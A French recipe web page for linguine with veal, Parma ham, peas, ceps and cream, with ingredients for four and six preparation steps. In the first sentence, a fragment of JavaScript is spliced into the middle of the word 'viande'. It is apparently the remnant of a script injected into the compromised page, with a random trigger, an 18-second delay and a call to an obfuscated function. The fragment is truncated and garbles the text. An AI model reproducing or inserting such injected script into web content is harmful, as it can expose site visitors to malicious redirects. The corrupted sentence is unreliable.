Linguines avec du veau / parme / légumes

2018-02-19

Émincez les tranches de jambon de parme. Découpez la viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande de veau en petits dés.

Ingrédients

  • Pour 4 personnes
  • 400 g de linguines
  • 500 g de filet de veau
  • 100 g de petits pois surgelés
  • 20 cl de crème fleurette
  • 5 cl de cognac
  • 150 g de cèpes en conserve où surgelés
  • 4 tranches de jambon de parme
  • 1 oignon
  • 1 gousse d’ail
  • L'huile d'arachide
  • 1/2 bouquet de ciboulette
  • Des copeaux de parmesan

Préparation de la recette

Etape 1

Émincez les tranches de jambon de parme. Découpez la viande de veau en petits dés.

Etape 2

Pelez, Coupez-les gousses d'ail en deux. Ôtez le germe et les écraser. Pelez, émincez l'oignon. Dans une cocotte avec 2 cuillères à soupe d'huile d'olive, sur feu moyen, faites suer l'ail, l'oignon, tout en remuant.

Etape 3

Activez le feu ajoutez les champignons et faites les cuire pendant 15 minutes, incorporez le jambon de parme. Flambez avec le cognac.

Etape 4

Incorporez les petits pois et laissez cuire par petits frémissements pendant 10 minutes. Incorporez la crème fleurette continuez la cuisson pendant 10 minutes sur feu doux.

Etape 5

Dans une cocotte avec 2 cuillères à soupe d'huile d'olive sur feu vif, faites rissoler la viande de veau en la retournant souvent, salez, poivrez.

Etape 6

Incorporez les légumes / la crème /. Laissez mijoter pendant 5 minutes. Dans une casserole d'eau bouillante salée, plongez les linguines en respectant le temps de cuisson indiqué sur le paquet. Égouttez. Dégustez avec des copeaux de parmesan

 

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